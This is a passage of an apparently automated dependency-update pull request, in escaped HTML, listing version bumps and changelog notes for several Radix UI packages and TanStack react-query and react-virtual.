\u003ccode\u003e@radix-ui/react-slot@1.3.0\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/popover\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-progress` from 1.1.12 to 1.1.13\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/progress/CHANGELOG.md\"\u003e@​radix-ui/react-progress's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.13\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/progress\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-scroll-area` from 1.2.14 to 1.2.15\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/scroll-area/CHANGELOG.md\"\u003e@​radix-ui/react-scroll-area's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.2.15\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-presence@1.1.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/number@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-callback-ref@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-layout-effect@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/scroll-area\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-select` from 2.3.3 to 2.3.4\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/select/CHANGELOG.md\"\u003e@​radix-ui/react-select's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.3.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-popper@1.3.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.16\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-scope@1.1.13\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.14\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-visually-hidden@1.2.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/number@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-guards@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-slot@1.3.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-callback-ref@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-layout-effect@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-previous@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/select\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-separator` from 1.1.11 to 1.1.12\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/separator/CHANGELOG.md\"\u003e@​radix-ui/react-separator's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.12\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/separator\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-switch` from 1.3.3 to 1.3.4\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/switch/CHANGELOG.md\"\u003e@​radix-ui/react-switch's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.3.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eFixed a bug where updating a \u003ccode\u003eCheckbox\u003c/code\u003e, \u003ccode\u003eSwitch\u003c/code\u003e, or \u003ccode\u003eRadioGroup\u003c/code\u003e value programmatically (eg. a \u0026quot;select all\u0026quot; control) while inside a \u003ccode\u003e\u0026lt;form\u0026gt;\u003c/code\u003e would dispatch a \u003ccode\u003eclick\u003c/code\u003e event from the hidden bubble input that propagated to ancestor \u003ccode\u003eonClick\u003c/code\u003e handlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-size@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/switch\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-tabs` from 1.1.17 to 1.1.18\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/tabs/CHANGELOG.md\"\u003e@​radix-ui/react-tabs's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-presence@1.1.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-roving-focus@1.1.16\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/tabs\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-toggle` from 1.1.14 to 1.1.15\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/toggle/CHANGELOG.md\"\u003e@​radix-ui/react-toggle's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.15\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/toggle\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-tooltip` from 1.2.12 to 1.2.13\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/tooltip/CHANGELOG.md\"\u003e@​radix-ui/react-tooltip's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.2.13\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed a bug where \u003ccode\u003eTooltip.Content\u003c/code\u003e children were mounted to the DOM twice.\u003c/li\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-popper@1.3.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.16\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.14\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-visually-hidden@1.2.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-slot@1.3.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-layout-effect@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/tooltip\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@tanstack/react-query` from 5.101.2 to 5.101.4\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/query/releases\"\u003e@​tanstack/react-query's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies []:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.4\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-next-experimental\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies []:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-persist-client\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies []:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-persist-client-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.4\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies []:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies []:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-next-experimental\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies []:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-persist-client\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies []:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-persist-client-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/7e3c822a10896f41a8f1031c16b85096277af677\"\u003e\u003ccode\u003e7e3c822\u003c/code\u003e\u003c/a\u003e]:\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/query/blob/main/packages/react-query/CHANGELOG.md\"\u003e@​tanstack/react-query's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e5.101.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies []:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.101.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/7e3c822a10896f41a8f1031c16b85096277af677\"\u003e\u003ccode\u003e7e3c822\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/86bb8a6fb2c7f15c74ff50afba053d778e6edc23\"\u003e\u003ccode\u003e86bb8a6\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/11094\"\u003e#11094\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/181ea826cb5b5f722a774525046d8f4e105dd6bb\"\u003e\u003ccode\u003e181ea82\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/11089\"\u003e#11089\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/6d55b0759b4722b888fa516b1bb86c0a56ea47a2\"\u003e\u003ccode\u003e6d55b07\u003c/code\u003e\u003c/a\u003e test({react,preact}-query): use the '.then()' convention consistently (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/11085\"\u003e#11085\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/44f38df5deaf72d8d74bc62b620dffed43fdbc05\"\u003e\u003ccode\u003e44f38df\u003c/code\u003e\u003c/a\u003e test({react,preact,solid}-query/useInfiniteQuery): inline the shared 'fetchIt...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/d1558c1491629b36661e0a166e1091bb4a256daa\"\u003e\u003ccode\u003ed1558c1\u003c/code\u003e\u003c/a\u003e test({react,preact}-query/usePrefetchQuery): inline the 'generateQueryFn' fac...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/99690d18b7937f217d3744b1c2ac78cc47caeaa7\"\u003e\u003ccode\u003e99690d1\u003c/code\u003e\u003c/a\u003e test({react,preact}-query/usePrefetchInfiniteQuery): inline single-use helper...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/10770f0720dacae3a26701a747e33abd6bafbf8a\"\u003e\u003ccode\u003e10770f0\u003c/code\u003e\u003c/a\u003e test({react,preact}-query/usePrefetchInfiniteQuery): inline the shared 'Suspe...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/dbd5a86e95284387bc3f172208bc52c0053a1bb2\"\u003e\u003ccode\u003edbd5a86\u003c/code\u003e\u003c/a\u003e test({react,preact}-query/usePrefetchQuery): inline the shared 'Suspended' co...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/b955f60d7965cc521df6ee8b1ce91b3d0e8c046d\"\u003e\u003ccode\u003eb955f60\u003c/code\u003e\u003c/a\u003e test({react,preact}-query/useSuspenseQuery): assert the 'loading' fallback is...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/b9c657e20b1ac1078ab265de8fc691aec192e143\"\u003e\u003ccode\u003eb9c657e\u003c/code\u003e\u003c/a\u003e test({react,preact}-query/usePrefetchQuery): assert the 'Loading...' fallback...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/TanStack/query/commits/@tanstack/react-query@5.101.4/packages/react-query\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@tanstack/react-virtual` from 3.14.6 to 3.14.7\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/virtual/releases\"\u003e@​tanstack/react-virtual's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-virtual\u003c/code\u003e\u003ca href=\"https://github.com/3\"\u003e\u003ccode\u003e@​3\u003c/code\u003e\u003c/a\u003e.14.7\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/virtual/commit/1e3b908705e04e45be2615f2277580cb09f5cdef\"\u003e\u003ccode\u003e1e3b908\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/virtual/commit/7dcfc07b877479697124157d3124c09537b87a75\"\u003e\u003ccode\u003e7dcfc07\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/virtual-core\u003c/code\u003e\u003ca href=\"https://github.com/3\"\u003e\u003ccode\u003e@​3\u003c/code\u003e\u003c/a\u003e.17.5\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/virtual/blob/main/packages/react-virtual/CHANGELOG.md\"\u003e@​tanstack/react-virtual's 